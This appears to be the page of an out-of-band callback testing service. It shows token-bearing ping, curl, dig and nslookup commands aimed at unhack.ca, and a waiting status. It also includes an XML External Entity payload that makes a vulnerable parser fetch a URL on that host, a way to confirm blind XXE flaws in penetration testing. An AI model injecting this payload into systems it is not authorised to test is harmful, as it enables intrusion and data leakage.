$ ping -c1 -p 00167a3f9ebe60f1a1257fc6baee2500 unhack.ca
 
$ curl http://unhack.ca/p/167a3f9ebe60f1a1257fc6baee25
 
$ dig 167a3f9ebe60f1a1257fc6baee25 @unhack.ca
 
$ dig 167a3f9ebe60f1a1257fc6baee25.ns.unhack.ca
 
C:\> nslookup 167a3f9ebe60f1a1257fc6baee25 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/167a3f9ebe60f1a1257fc6baee25">]>
    <foo>&xxe;</foo>
Waiting for ping...